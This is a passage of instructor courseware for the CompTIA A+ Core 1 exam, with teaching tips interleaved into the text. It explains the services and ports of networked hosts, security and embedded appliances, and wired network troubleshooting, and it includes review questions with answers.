Networked Hosts
Networked Hosts 2

Teaching CORE 1 EXAM OBJECTIVES COVERED

Tip 2.4 Summarize services provided by networked hosts.
Focus on the purposes
of each server role/
network port without
getting into too much IP, TCP/UDP, DHCP, and DNS establish the basic addressing and forwarding
configuration detail. functions necessary to implement network connectivity. Network applications use
Do remind students these underlying network and transport functions to run user-level services, such
that they need to learn as web browsing or file sharing. In this topic, you will learn to summarize the server
the port numbers. roles that are used to implement network applications.

Show File/Print Servers

Slide(s)
File/Print Servers One of the core network functions is to provide shared access to disk and print
resources. Like many network protocols, resource sharing is implemented using a
Teaching client/server architecture. The machine hosting the disk or printer is the server. A
Tip server disk configured to allow clients to access it over the network is a fileshare.
Machines accessing those resources are the clients.
Explain that SMB file/
printer shares are only The fileshare and print server roles may be implemented on a local network using
usually enabled over proprietary protocols, such as File and Print Services for Windows Networks. A file
local networks. Public server could also be implemented using TCP/IP protocols, such as File Transfer
networks are more
likely to use HTTP/FTP
Protocol (FTP).
(secure versions) for
file downloads and Server Message Block
web services for file
collaboration/sharing. Server Message Block (SMB) is the application protocol underpinning file and
The CIFS name arose
printer sharing on Windows networks. SMB usually runs directly over the TCP/445
due to an abandoned port.
attempt to create an
SMB has gone through several updates, with SMB3 as the current version. SMB1
Internet standard
from SMB1. CIFS is has very serious security vulnerabilities and is now disabled by default on current
a specific dialect of Windows versions (docs.microsoft.com/en-us/windows-server/storage/file-server/
SMB1 as implemented troubleshoot/detect-enable-and-disable-smbv1-v2-v3).
for Windows NT 3.51,
Windows NT 4.0, and Support for SMB in UNIX- or Linux-based machines and network attached storage (NAS)
Windows 98, but it is appliances is provided by using the Samba software suite (samba.org/samba/what_is_
commonly misused to
samba.html), which allows a Windows client to access a Linux host as though it were a
mean a protocol that is
Windows file or print server.
interchangeable with
any version of SMB
(winprotocoldoc.
blob.core. SMB is sometimes referred to as the Common Internet File System (CIFS), though
windows.net/ technically that should only be used to refer to a specific dialect of SMB version 1.
productionwindows
archives/MS-CIFS/
%5bMS-CIFS%5d.pdf).

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Network Basic Input/Output System

The earliest Windows networks used a protocol stack called the Network Basic
Input/Output System (NetBIOS) rather than TCP/IP. NetBIOS allowed computers
to address one another by name and establish sessions for other protocols, such
as SMB. As the TCP/IP suite became the standard for local networks, NetBIOS was
re-engineered to work over the TCP and UDP protocols, referred to as NetBIOS over
TCP/IP (NetBT). NetBT uses UDP/137 for name services and TCP/139 for session
services.
Modern networks use IP, TCP/UDP, and DNS for these functions, so NetBT is
obsolete. NetBT should be disabled on most networks, as it poses a significant risk
to security. It is only required if the network must support file sharing for Windows
versions earlier than Windows 2000.

File Transfer Protocol

The File Transfer Protocol (FTP) allows a client to upload and download files from
a network server. It is often used to upload files to websites.
FTP is associated with the use of port TCP/21 to establish a connection and either
port TCP/20 to transfer data in “active” mode or a server-assigned port in “passive”
mode.
Show
Plain FTP is unencrypted and so poses a high security risk. Passwords for sites are Slide(s)
submitted in plaintext. There are ways of encrypting FTP sessions, such as FTP-Secure Web Servers
(FTPS) and FTP over Secure Shell (SFTP), and it is the encrypted services that are most
widely used now. Teaching
Tip
Web Servers Identify the main
features of websites
A web server is one that provides client access using HTTP or its secure version and services, including
HTTP, request/
(HTTPS). Websites and web applications are perhaps the most useful and response headers,
ubiquitous of network services. Web technology can be deployed for a huge range HTML (and optionally
of functions and applications, in no way limited to the static pages of information mention scripting
that characterized the first websites. languages), and URLs.

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HyperText Transfer Protocol

Interaction HTTP enables clients (typically web browsers) to request resources from an
Opportunity HTTP server. A client connects to the HTTP server using port TCP/80 (by default)
If you have an Internet and submits a request for a resource (GET). The server either returns the data
connection, get requested data if it is available or responds with an error code.
students to use the
browser developer
tools to view GET
operations and HTTP
headers for a typical
site.

Using Firefox’s web developer tools to inspect the HTTP requests and response headers
involved in serving a typical modern web page. (Screenshot courtesy of Mozilla.)

HyperText Markup Language, Forms, and Web Applications

HTTP is usually used to serve HTML web pages, which are plain text files with
coded tags describing how the document should be formatted. A web browser can
interpret the tags and display the text and other resources associated with the page
(such as picture or sound files). Another powerful feature is the ability to provide
hyperlinks to other related documents. HTTP also features forms mechanisms
(POST) whereby a user can submit data from the client to the server.
The functionality of HTTP servers is often extended by support for scripting and
programmable features (web applications).

Uniform Resource Locators

Resources on the Internet are accessed using an addressing scheme known as a
uniform resource locator (URL). A URL contains all the information necessary to
identify and access an item. For example, a URL for an HTTP resource might contain
the following elements:
• The protocol describes the access method or service type being used.

• The host location is usually represented by a FQDN. The FQDN is not case
sensitive. The host location can also be an IP address; an IPv6 address must be
enclosed in square brackets.

• The file path specifies the directory and file name location of the resource (if
required). The file path may or may not be case sensitive, depending on how the
server is configured.

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URL for an HTTPS website. The site is identified by the FQDN store.comptia.org and
the requested resource is in the file path /bundles/aplus.html from the site root.

Web Server Deployment

Typically, an organization will lease a web server or space on a server from an
ISP. Larger organizations with Internet-connected datacenters may host websites
themselves. Web servers are not only used on the public Internet, however. Private
networks using web technologies are described as “intranets” (if they permit only
local access) or “extranets” (if they permit remote access).

Hypertext Transfer Protocol Secure

One of the critical problems for the provision of early websites was the lack Show
of security in HTTP. Under HTTP, all data is sent unencrypted, and there is no Slide(s)
authentication of client or server. Secure Sockets Layer (SSL) was developed by Hypertext Transfer
Netscape in the 1990s to address these problems. SSL proved very popular with the Protocol Secure
industry. Transport Layer Security (TLS) was developed from SSL and ratified as a
standard by the IETF. Teaching
Tip
When TLS is used with the HTTP application, it is referred to as HTTPS. Encrypted
traffic between the client and server is sent over port TCP/443 (by default), rather Make sure students
understand the basic
than the open and unencrypted port 80. TLS can also be used to secure other TCP function of digital
application protocols, such as FTP, POP3/IMAP, SMTP, and LDAP. certificates and CAs
in implementing TLS
TLS can also be used with UDP, referred to as Datagram Transport Layer Security (DTLS), and how to identify
most often in virtual private networking (VPN) solutions. and verify a secure
connection in the
browser.

To implement HTTPS, the web server is installed with a digital certificate issued Interaction
by some trusted certificate authority (CA). The certificate uses encrypted data to Opportunity
prove the identity of the server to the client, assuming that the client also trusts the If you have an Internet
CA. The system uses a public/private encryption key pair. The private key is kept connection, get
a secret known only to the server; the public key is given to clients via the digital students to open a
certificate. secure site and view
the certificate.
The server and client use the key pair in the digital certificate and a chosen cipher
suite within the TLS protocol to set up an encrypted tunnel. Even though someone
else might know the public key, they cannot decrypt the contents of the tunnel
without obtaining the server’s private key. This means that the communications
cannot be read or changed by a third party.
A web browser will open a secure session to an HTTPS server by using a URL
starting with https:// and it will also show a padlock icon in the address bar to
indicate that the server’s certificate is trusted and that the connection is secure. A
website can be configured to require a secure session and reject or redirect plain
HTTP requests.

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HTTPS padlock icon. (Screenshot courtesy of Microsoft.)

Mail Servers
Show Electronic mail enables a person to compose a message and send it to another
Slide(s) user on their own network (intranet) or anywhere in the world via the Internet. Two
Mail Servers types of mail servers and protocols are used to process email: mail transfer and
mailbox access protocols:
Teaching
Tip
While they are
not listed on the
syllabus, stress the
importance of using
encrypted versions
of these protocols
for client-to-server
communications. Note
that server-to-server
SMTP is more difficult
to encrypt but that
solutions exist for
message encryption at
the client (S/MIME or
PGP).

Operation of delivery and mailbox email protocols. (Images © 123RF.com.)

Internet email addresses follow the mailto URL scheme. An Internet email address
comprises two parts—the username (local part) and the domain name, separated
by an @ symbol. The domain name may refer to a company or an ISP; for example,
[email protected] or [email protected].
The Simple Mail Transfer Protocol (SMTP) specifies how email is delivered
from one mail domain to another. The SMTP server of the sender discovers the
IP address of the recipient SMTP server by using the domain name part of the
recipient’s email address. The SMTP servers for the domain are registered in DNS
using Mail Exchange (MX) and host (A/AAAA) records.

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Typical SMTP configurations use the following ports and secure services:
• Port TCP/25 is used for message relay between SMTP servers, or message
transfer agents (MTAs). Transmissions over port 25 are usually unsecure.

• Port TCP/587 is used by mail clients—message submission agents (MSAs)—to

submit messages for delivery by an SMTP server. Servers configured to support
port 587 should use encryption and authentication to protect the service.

Mailbox Servers
SMTP is used only to deliver mail to server hosts that are permanently available. Show
When an email is received by an SMTP server, it delivers the message to a mailbox Slide(s)
server. The mailbox server could be a separate machine or a separate process Mailbox Servers
running on the same computer. A mailbox access protocol allows the user’s client
email software to retrieve messages from the mailbox.

Post Office Protocol 3

The Post Office Protocol (POP) is an early example of a mailbox access protocol.
POP is often referred to as POP3 because the active version of the protocol
is version 3. A POP client application, such as Microsoft Outlook® or Mozilla
Thunderbird®, establishes a connection to the POP server on port TCP/110 or over
the secure port TCP/995. The user is authenticated (by username and password),
and the contents of the mailbox are downloaded for processing on the local PC.
With POP3, the messages are typically deleted from the mailbox server when they
are downloaded, though some clients have the option to leave messages on the
server.

Configuring an email account. The incoming server is either POP3 or

IMAP while the outgoing server is SMTP. (Screenshot courtesy of Microsoft.)

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Internet Message Access Protocol

The Internet Message Access Protocol (IMAP) addresses some of the limitations
of POP. IMAP is a mail retrieval protocol, but its mailbox management features lack
POP. IMAP supports permanent connections to a server and connecting multiple
clients to the same mailbox simultaneously. It also allows a client to manage the
mailbox on the server (to organize messages in folders and to control when they
are deleted, for instance) and to create multiple mailboxes.
A client connects to an IMAP server over port TCP/143, but this port is unsecure.
Connection security can be established using TLS. The default port for IMAP-Secure
(IMAPS) is TCP/993.

Directory and Authentication Servers

Show DHCP allows a network client to request an IP configuration, and DNS allows it to
Slide(s) request resources using plain names. Most networks must also authenticate and
Directory and authorize clients before allowing them to connect to fileshares and mail servers.
Authentication Servers This security requirement is met by configuring an access control system to
Teaching
prevent unauthorized users (and devices) from connecting. In a Windows
Tip
workgroup, for example, the access control method is a simple password, shared
with all authorized users. Enterprise networks use directory servers to maintain a
Explain that a
directory service
centralized database of user accounts and authenticate the subjects trying to use
holds details of all those accounts. These protocols allow a user to authenticate once to access the
network resources network and gain authorization for all the compatible application servers running
and permissions (user on it. This is referred to as single sign-on (SSO).
accounts, computer
accounts, printers, Lightweight Directory Access Protocol
shares, and so on).
An AAA service Network resources can be recorded as objects within a directory. A directory is a
allows network edge type of database, where an object is like a record and things that you know about
devices (switches, the object (attributes) are like fields. Most directories are based on the X.500
access points, and standard. The Lightweight Directory Access Protocol (LDAP) is a TCP/IP protocol
remote access/VPN used to query and update an X.500 directory. It is widely supported in current
servers) to process
access requests by
directory products—Windows Active Directory or the open source OpenLDAP, for
supplicants (user instance. LDAP uses TCP and UDP port 389 by default.
workstations, laptops,
printers, and so on) Authentication, Authorization, and Accounting
without having to hold
a copy of the directory Network clients can join the network using multiple types of access device, including
and associated switches, access points, and remote access VPN servers. Storing copies of the
credentials. Instead, network directory and authentication information on all these access devices would
the access device require each device to do more processing and have more storage. It also increases
passes authentication
and authorization
the risk that this confidential information could be compromised.
traffic between the An authentication, authorization, and accounting (AAA) server is one that
supplicant and an AAA
consolidates authentication services across multiple access devices. AAA uses the
server hosted in a
secure location on the following components:
internal network. • Supplicant—The device requesting access, such as a user’s PC or laptop.
• Network access server (NAS) or network access point (NAP)—Network
access appliances, such as switches, access points, and VPN gateways. These are
also referred to as “AAA clients” or “authenticators.”
• AAA server—The authentication server, positioned within the local network.

With AAA, the network access appliances do not have to store any authentication
credentials. They simply act as a transit to forward this data between the AAA server
and the supplicant. AAA is often implemented using a protocol called Remote
Authentication Dial-in User Service (RADIUS).

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Communications between RADIUS server, client, and supplicant in AAA architecture.

(Images © 123RF.com.)

Show
Remote Terminal Access Servers Slide(s)
Remote Terminal
A remote terminal server allows a host to accept connections to its command shell Access Servers
or graphical desktop from across the network. The name “terminal” comes from
the early days of computing where configuration was performed by a teletype Teaching
(TTY) device. The TTY is the terminal or endpoint for communication between the Tip
computer and the user. It handles text input and output between the user and the Explain that these
shell, or command environment. Where the terminal accepts input and displays protocols allow a
output, the shell performs the actual processing. user or administrator
to operate a host
A terminal emulator is any kind of software that replicates this TTY input/output remotely. The host
function. A given terminal emulator application might support connections to could be on the
multiple types of shell. A remote terminal emulator allows you to connect to the same local network
or accessed over the
shell of a different host over the network. Internet. Make sure
students understand
Secure Shell the importance
of using a secure
Secure Shell (SSH) is the principal means of obtaining secure remote access to remote terminal
UNIX and Linux servers and to most types of network appliances (switches, routers, access protocol (and,
and firewalls). As well as encrypted terminal emulation, SSH can be used for SFTP conversely, the risks
and to achieve many other network configurations. Numerous commercial and from using Telnet).
open source SSH servers and terminal emulation clients are available for all the Remind learners that
major NOS platforms (UNIX®, Linux®, Windows®, and macOS®). The most widely a remote terminal
used is OpenSSH (openssh.com). An SSH server listens on port TCP/22 by default. server can be any type
of computer. "Server"
here doesn’t have
Telnet to mean a server-
class computer; it
Telnet is both a protocol and a terminal emulation software tool that transmits can include a service
shell commands and output between a client and the remote host. A Telnet server running on a desktop
listens on port TCP/23 by default. PC or laptop.

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PuTTY Telnet client. (Screenshot courtesy of PuTTY.)

A Telnet interface can be password protected, but the password and other
communications are not encrypted and therefore could be vulnerable to packet
sniffing and replay. Historically, Telnet provided a simple means to configure switch
and router equipment, but only secure access methods should be used for these
tasks now.

Remote Desktop Protocol

Telnet and SSH provide terminal emulation for command-line shells. This is
sufficient for most administrative tasks, but where users want to connect to a
desktop, they usually prefer to work with a graphical interface. A GUI remote
administration tool sends screen and audio data from the remote host to the
client and transfers mouse and keyboard input from the client to the remote host.
Remote Desktop Protocol (RDP) is Microsoft’s protocol for operating remote GUI
connections to a Windows machine. RDP uses port TCP/3389. The administrator can
specify permissions to connect to the server via RDP and can configure encryption
on the connection.
RDP clients are available for other OSs, including Linux, macOS, iOS, and Android
so you can connect to a Windows desktop remotely using a non-Windows device.
There are also open-source RDP server products, such as xrdp (xrdp.org).

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Network Monitoring Servers

SSH and RDP allow administrators to log on and manage hosts and switches/ Show
routers/firewalls remotely. For a network to run smoothly, it is also important to Slide(s)
gather information regularly from these systems. This type of remote monitoring Network Monitoring
can identify an actual or possible fault more quickly. Servers

Simple Network Management Protocol Teaching

Tip
The Simple Network Management Protocol (SNMP) is a framework for Explain the
management and monitoring network devices. SNMP consists of a management importance of network
system and agents. monitoring and how
Syslog and SNMP can
The agent is a process running on a switch, router, server, or other SNMP- be used to centralize
compatible network device. This agent maintains a database called a management logs and network
information base (MIB) that holds statistics relating to the activity of the device. appliance status
An example of such a statistic is the number of frames per second handled by a information.
switch. The agent is also capable of initiating a trap operation where it informs the
management system of a notable event (port failure, for instance). The threshold
for triggering traps can be set for each value.

SNMP agents and management system. (Image © 123RF.com.)

The management system monitors all agents by polling them at regular intervals for
information from their MIBs and displays the information for review. It also displays
any trap operations as alerts for the network administrator to assess and act upon
as necessary.
SNMP device queries take place over port UDP/161; traps are communicated over
port UDP/162.

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Syslog
Effective network management often entails capturing logs from different devices.
It is more efficient to review logs and respond to alerts if the logs are consolidated
on a single system. A log collector aggregates event messages from numerous
devices to a single storage location. As well as aggregating logs, the system can be
configured to run one or more status and alerting dashboards.
Syslog is an example of a protocol and supporting software that facilitates log
collection. It has become a de facto standard for logging events from distributed
systems. For example, syslog messages can be generated by routers and switches,
as well as UNIX or Linux servers and workstations. A syslog collector usually listens
on port UDP/514.

Configuring an OPNsense security appliance to transmit logs to a remote syslog server.

(Screenshot courtesy of OPNsense.)

As well as a protocol for forwarding messages to a remote log collector, syslog

provides an open format for event data. A syslog message comprises a PRI code, a
header containing a timestamp and host name, and a message part. The PRI code
is calculated from the facility and a severity level. The message part contains a tag
showing the source process plus content. The format of the content is application
dependent.

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Review Activity:
Services Provided by Networked Hosts
3

Answer the following questions:

1. True or false? An HTTP application secured using the SSL/TLS protocol Show
should use a different port to unencrypted HTTP. Slide(s)
Review
True. By default, HTTPS uses port TCP/443. It is possible in theory to apply SSL/TLS
to port TCP/80, but most browsers would not support this configuration. Teaching
2. A firewall filters applications based on their port number. If you want to Tip
configure a firewall on a mail server to allow clients to download email Take some time at
messages, which port(s) might you have to open? the end of each topic
to answer questions.
Either TCP port 993 (IMAPS) or 995 (POP3S), depending on the mail access protocol You can use the
review questions
in use (IMAP or POP). These are the default ports for secure connections. Unsecure for discussion in
default ports are TCP port 143 and TCP port 110. Port 25 (SMTP) is used to send class or set them for
mail between servers and not to access messages stored on a server. Port 587 is students to complete
often used by a client to submit messages for delivery by an SMTP server. individually during or
after class.
3. You are configuring a network attached storage (NAS) appliance. What
file sharing protocol(s) could you use to allow access to Windows, Linux,
and Apple macOS clients?

Most clients should support Server Message Block (SMB). Another option is to
configure File Transfer Protocol (FTP).

4. True or false? AAA allows switches and access points to hold directory
information so that they can authenticate clients as they connect to the
network.

False. One of the purposes of authentication, authorization, and accounting

(AAA) is to authenticate clients as they connect to the network, but the directory
information and credentials are not stored on or verified by switches and access
points. These devices are configured as clients of an AAA server and act only to
transit authentication data between the end user device (the supplicant) and the
AAA server.

5. You are advising a company on configuring systems to provide better

information about network device status. Why would you recommend
the use of both SNMP and syslog?

The Simple Network Management Protocol (SNMP) provides a means for devices
to report operational statistics to a management server and to send a trap if a
threshold for some critical value is exceeded. Syslog provides a means for devices
to send log entries to a remote server. Both of these types of information are
required for effective monitoring.

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Topic 6B
Compare Internet and Embedded
Appliances
6

CORE 1 EXAM OBJECTIVES COVERED

2.4 Summarize services provided by networked hosts.

Show As well as the roles fulfilled by computer servers, most networks also require
Slide(s) dedicated Internet security appliances and must manage embedded systems and
Compare Internet and legacy systems. Internet security appliances are installed to the network border to
Embedded Appliances filter content and improve performance. Embedded devices might be present on
the network as features of industrial or building control systems or as Internet of
Teaching Things devices installed to office workspaces. As an A+ technician, it is important
Tip that you can compare and contrast the functions of these types of appliances
This topic completes and embedded devices so that you can support and troubleshoot networks more
coverage of objective effectively.
2.4 with an overview
of devices that don’t fit
easily into the schema Proxy Servers
of the previous topics.
As with other topics in On a SOHO network, devices on the LAN access the Internet via the router using
this lesson, focus on a type of NAT, specifically port-based or overloaded NAT. This type of NAT device
the purpose of each translates between the private IP addresses used on the LAN and the publicly
device rather than
configuration detail.
addressable IP address configured on the router’s WAN interface.
Many enterprise networks also use some sort of NAT, but another option is to
Show deploy a proxy server. A proxy server does not just translate IP addresses. It takes
Slide(s) a whole HTTP request from a client, checks it, then forwards it to the destination
Proxy Servers server on the Internet. When the reply comes back, it checks it and then shuttles it
back to the LAN computer. A proxy can be used for other types of traffic, too (email,
for instance).

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Configuring the Firefox web browser to use a proxy server at

192.168.0.1 to connect to the Internet. (Screenshot courtesy of Mozilla.)

A proxy server can usually operate either as a transparent service, in which

case, the client requires no special configuration, or as nontransparent. For a
nontransparent proxy, the client must be configured with the IP address and service
port (often 8080 by convention) of the proxy server.
A proxy can perform a security function by acting as a content filter to block access
to sites deemed inappropriate. It can also apply rules to access requests, such
as restricting overall time limits or imposing time-of-day restrictions. As well as
managing and filtering outgoing access requests, a proxy can be configured to
cache content to improve performance and reduce bandwidth consumption.

Spam Gateways and Unified Threat Management

Networks connected to the Internet need to be protected against malicious Show
threats by various types of security scanner. These services can be implemented Slide(s)
as software running on PC servers, but enterprise networks are more likely to Spam Gateways
use purpose-built Internet security appliances. The range of security functions and Unified Threat
performed by these appliances includes the following: Management

• Firewalls allow or block traffic based on a network access control list specifying
source and destination IP addresses and application ports.

• Intrusion detection systems (IDS) are programmed with scripts that can identify
known malicious traffic patterns. An IDS can raise an alert when a match is
made. An intrusion prevention system (IPS) can additionally take some action to
block the source of the malicious packets.

• Antivirus/antimalware solutions scan files being transferred over the network to

detect any matches for known malware signatures in binary data.

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• Spam gateways use SPF, DKIM, and DMARC to verify the authenticity of mail
servers and are configured with filters that can identify spoofed, misleading,
malicious, or otherwise unwanted messages. The spam gateway is installed as
a network server to filter out these messages before it is delivered to the user’s
inbox.

• Content filters are used to block outgoing access to unauthorized websites and
services.

• Data leak/loss prevention (DLP) systems scan outgoing traffic for information
that is marked as confidential or personal. The DLP system can verify whether
the transfer is authorized and block it if it is not.

These security functions could be deployed as separate appliances or server

applications, each with its own configuration and logging/reporting system. A
unified threat management (UTM) appliance is one that enforces a variety of
security policies and controls, combining the work of multiple security functions. A
UTM centralizes the threat management service, providing simpler configuration
and reporting compared to isolated applications spread across several servers or
devices.

Load Balancers
Show A load balancer can be deployed to distribute client requests across server nodes
Slide(s) in a farm or pool. You can use a load balancer in any situation where you have
Load Balancers multiple servers providing the same function. Examples include web servers, email
servers, web conferencing servers, and streaming media servers. The load balancer
is placed in front of the server network and distributes requests from the client
network or Internet to the application servers. The service address is advertised to
clients as a virtual server. This is used to provision high availability services that can
scale from light to heavy loads.

Topology of basic load balancing architecture. (Images © 123RF.com.)

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Legacy Systems
A legacy system is one that is no longer directly supported by its vendor. This Show
might be because the vendor has gone out of business or formally deprecated use Slide(s)
of the product. A product that is no longer supported is referred to as end of life Legacy Systems
(EOL). Networks often need to retain hosts running legacy OSs and applications
software or old-style mainframe computers to run services that are too complex or Teaching
expensive to migrate to a more modern platform. Tip
Legacy systems usually work well for what they do—which is why they don’t get Note that the
content example
prioritized for replacement—but they represent severe risks in terms of security suggests a false
vulnerabilities. If attackers discover faulty code that they can use to try to exploit equivalence between
the device, the vendor will not be available to develop a software patch to block legacy systems
the exploit. It is important to isolate them as far as possible from the rest of the and embedded
network and to ensure that any network channels linking them are carefully systems. Some of the
management and
protected and monitored.
security concerns
are similar, but they
Embedded Systems and SCADA should be treated
separately.
An embedded system is an electronic device that is designed to perform a specific, Security concepts
dedicated function. These systems can be as small and simple as a microcontroller such as patching
in an intravenous drip-rate meter or as large and complex as an industrial control are covered in more
system managing a water treatment plant. Embedded systems might typically detail in Core 2. The
basic terminology of
have been designed to operate within a closed network, where the elements of vulnerabilities and
the network are all known to the system vendor and there is no connectivity to exploits should be
wider computer data networks. Where embedded systems need to interact within familiar to students
a computer data network, there are special considerations to make in terms of the from IT Fundamentals,
network design and support, especially regarding security. but you may need to
provide additional
background
Workflow and Process Automation Systems information if students
have not completed
An industrial control system (ICS) provides mechanisms for workflow and process that course.
automation. An ICS controls machinery used in critical infrastructure, such as
power suppliers, water suppliers, health services, telecommunications, and national Show
security services. Slide(s)
An ICS comprises plant devices and equipment with embedded programmable Embedded Systems
logic controllers (PLCs). The PLCs are linked by a cabled network to actuators that and SCADA
operate valves, motors, circuit breakers, and other mechanical components, plus
Teaching
sensors that monitor some local state, such as temperature. An embedded system
Tip
network is usually referred to as an operational technology (OT) network to
distinguish it from an IT network. Output and configuration of a PLC is performed This terminology
unpacks some of
by a human–machine interface (HMI). An HMI might be a local control panel or
the detail behind
software running on a computing host. PLCs are connected within a control loop, the single content
and the whole process automation system can be governed by a control server. example SCADA.
Another important concept is the data historian, which is a database of all the
information generated by the control loop.

Supervisory Control and Data Acquisition

A supervisory control and data acquisition (SCADA) system takes the place of
a control server in large-scale, multiple-site ICSs. SCADAs typically run as software
on ordinary computers, gathering data from and managing plant devices and
equipment with embedded PLCs, referred to as “field devices.” These embedded
systems typically use WAN communications, such as cellular or satellite, to link the
SCADA server to field devices.

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Both legacy and embedded systems represent a risk in terms of maintenance and
troubleshooting as well as security, because they tend to require more specialized
knowledge than modern, off-the-shelf, computing systems. Consultants with expertise in
such systems can become highly sought after.

Internet of Things Devices

Show The term Internet of Things (IoT) is used to describe the global network of
Slide(s) wearable technology, home appliances, home control systems, vehicles, and other
Internet of Things items that have been equipped with sensors, software, and network connectivity.
Devices These features allow these types of objects to communicate and pass data between
themselves and other traditional systems, such as computer servers. Smart devices
Teaching are used to implement home automation systems. An IoT smart device network will
Tip generally use the following types of components:
Note that the
configuration of
• Hub/control system—IoT devices usually require a communications hub to
these devices tends facilitate wireless networking. There must also be a control system, as many IoT
to involve multiple devices are headless, meaning they cannot be operated directly using input and
components. You output devices. A hub could be implemented as a smart speaker operated by
connect the hub to Wi- voice control or use a smartphone/PC app for configuration.
Fi, connect to the hub,
and then use the hub’s • Smart devices—IoT endpoints implement the function, such as a smart
Z-Wave or Zigbee
lightbulb, refrigerator, thermostat/heating control, or doorbell/video entry
radio to discover and
configure the devices. phone that you can operate and monitor remotely. These devices are capable
of compute, storage, and network functions that are all potentially vulnerable
Interaction to malicious code. Most smart devices use a Linux or Android kernel. Because
Opportunity they’re effectively running mini-computers, smart devices are vulnerable to some
Sharing examples of of the standard attacks associated with web applications and network functions.
home automation Integrated peripherals, such as cameras or microphones, could be compromised
devices may help to facilitate surveillance.
learners better
understand. While the control system is typically joined to the Wi-Fi network, smart devices may
Otherwise, encourage use other wireless technologies, such as Z-Wave or Zigbee, to exchange data via
them to browse
the hub. These protocols are designed for operation on low-power devices without
vendor sites to learn
about the features of substantial CPU or storage resource.
individual systems.

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Review Activity:
Internet and Embedded Appliances
7

Answer the following questions:

1. You are advising a customer about replacing the basic network address Show
translation (NAT) function performed by a SOHO router with a device Slide(s)
that can work as a proxy. The customer understands the security Review
advantages of this configuration. What other benefit can it have?
Teaching
The proxy can be configured to cache data that is commonly requested by multiple
Tip
clients, reducing bandwidth consumption and speeding up requests.
Take some time at
2. You are recommending that a small business owner replace separate the end of each topic
firewall and antimalware appliances with a UTM. What is the principal to answer questions.
You can use the
advantage of doing this? review questions
for discussion in
A unified threat management (UTM) appliance consolidates the configuration, class or set them for
monitoring, and reporting of multiple security functions to a single console students to complete
or dashboard. You might also mention that the UTM might provide additional individually during or
functionality not currently available, such as intrusion detection, spam filtering, or after class.
data loss prevention.

3. A network owner has configured three web servers to host a website.

What device can be deployed to allow them to work together to service
client requests more quickly?

A load balancer.

4. You are writing an advisory to identify training requirements for support

staff and have included OT networks as one area not currently covered.
Another technician thinks you should have written IT. Are they correct?

No. Operational technology (OT) refers to networks that connect embedded

systems in industrial and process automation systems.

5. You are auditing your network for the presence of legacy systems.
Should you focus exclusively on identifying devices and software whose
vendor has gone out of business?

No. While this can be one reason for products becoming unsupported, vendors can
also deprecate use of products that they will no longer support by classifying them
as end of life (EOL).

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Topic 6C
Show
Slide(s) Troubleshoot Networks
Troubleshoot
6

Networks
CORE 1 EXAM OBJECTIVES COVERED
Teaching 5.7 Given a scenario, troubleshoot problems with wired and wireless networks.
Tip
This troubleshooting
topic completes
coverage of local
As a CompTIA A+ technician, you often assist users with basic network connectivity
networking concepts. issues. At this support level, you will be focusing on client issues. As you have
Most of the examples learned, networks are complex and involve many different hardware devices,
focus on physical/data protocols, and applications, meaning that there are lots of things that can go
link layer issues, but wrong! In this topic, you will learn how to identify and diagnose the causes of some
some do introduce
common wired and wireless network issues.
new concepts, such as
VoIP.
Troubleshoot Wired Connectivity
Show A client wired connectivity issue means that either the network adapter does not
Slide(s) establish a network link at all (no connectivity) or the connection is unstable or
intermittent. Assuming that you can establish that the problem affects a single host
Troubleshoot Wired
Connectivity only, you need to isolate the precise location of the physical issue.

Teaching Troubleshoot Cable and Network Adapter Issues

Tip
A typical Ethernet link for an office workstation includes the following components:
Remind students
of the CompTIA A+ • NIC port on the host.
troubleshooting model
steps as you present • RJ45 terminated patch cord between the host and a wall port.
these scenarios.
Remind students that • Structured cable between the wall port and a patch panel, terminated to
to troubleshoot issues insulation displacement connector (IDC) blocks (the permanent link).
effectively, they need
to be methodical, • RJ45 terminated patch cord between the patch panel port and a switch port.
be detail oriented,
and have a good • Network transceiver in the switch port.
understanding of how
these systems should
work, if properly The link LEDs on network adapter and switch ports will indicate whether the link is active
configured. and possibly at what speed the link is working. The LEDs typically flicker to show network
Reinforce which activity.
tools are suitable for
diagnosing which
specific issues. If 1. The first step in resolving a no or intermittent connectivity issue is to check
you can create some that the patch cords are properly terminated and connected to the network
improperly terminated ports. If you suspect a fault, substitute the patch cord with a known good
cable and show the cable. You can verify patch cords using a cable tester.
students the result
when attached to 2. If you cannot isolate the problem to the patch cords, test the transceivers. You
a cable tester, that
can use a loopback tool to test for a bad port.
will boost their
understanding. Also
consider creating a
3. If you don’t have a loopback tool available, another approach is to substitute
loopback tester and known working hosts (connect a different computer to the link or swap ports
showing the effect on at the switch). This method may have adverse impacts on the rest of the
port link lights. network, however, and issues such as port security may make it unreliable.

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4. If you can discount faulty patch cords and bad network ports/NICs, use a cable
tester to verify the structured cabling. The solution may involve installing
a new permanent link, but there could also be a termination or external
interference problem. An advanced type of cable tester called a “certifier” can
report detailed information about cable performance and interference.

5. If there is no issue in the structured cabling, verify the Ethernet speed/duplex

configuration on the switch interface and NIC. This should usually be set to
autonegotiate. You might also try updating the NIC’s device driver software.

Troubleshoot Port Flapping Issues

Intermittent connectivity might manifest as port flapping, which means that the
NIC or switch interface transitions continually between up and down states. This is
often caused by bad cabling or external interference or a faulty NIC at the host end.
You can use the switch configuration interface to report how long a port remains in
the up state.

Troubleshoot Network Speed Issues

The transfer speed of a cabled link could be reduced by mismatched duplex settings Show
on the network adapter and switch port. With Gigabit Ethernet, both should be set Slide(s)
to autonegotiate. Check the configuration of the network adapter driver on the
Troubleshoot Network
client OS and the setting for the switch port via the switch’s management software. Speed Issues
If there is no configuration issue, slow network speeds can be caused by a
variety of other problems and difficult to diagnose. Apply a structured process to
investigate possible causes:
1. If a user reports slow speed, establish exactly what network activity they are
performing (web browsing, file transfer, authentication, and so on). Establish
that there is a link speed problem by checking the nominal link speed and
using a utility to measure transfer rate independent of specific apps or
network services.

2. If you can isolate the speed issue to a single cable segment, the cabling
could be affected by interference. External interference is typically
caused by nearby power lines, fluorescent lighting, motors, and generators.
Poorly installed cabling and connector termination can also cause a type
of interference called “crosstalk.” Check the ends of cables for excessive
untwisting of the wire pairs or improper termination. If you have access
to a network tap, the analyzer software is likely to report high numbers of
damaged frames. You can also view error rates from the switch interface
configuration utility.

3. If the cabling is not the issue, there could be a problem with the network
adapter driver. Install an update if available. If the latest driver is installed,
check whether the issue affects other hosts using the same NIC and driver
version.

4. Consider the possibility that the computer could be infected with malware or
have faulty software installed. Consider removing the host from the network
for scanning. If you can install a different host to the same network port and
that solves the issue, identify what is different about the original host.

5. Establish the scope of the problem: are network speeds an issue for a single
user, for all users connected to the same switch, or for all users connecting to
the Internet, for instance? There may be congestion at a switch or router or
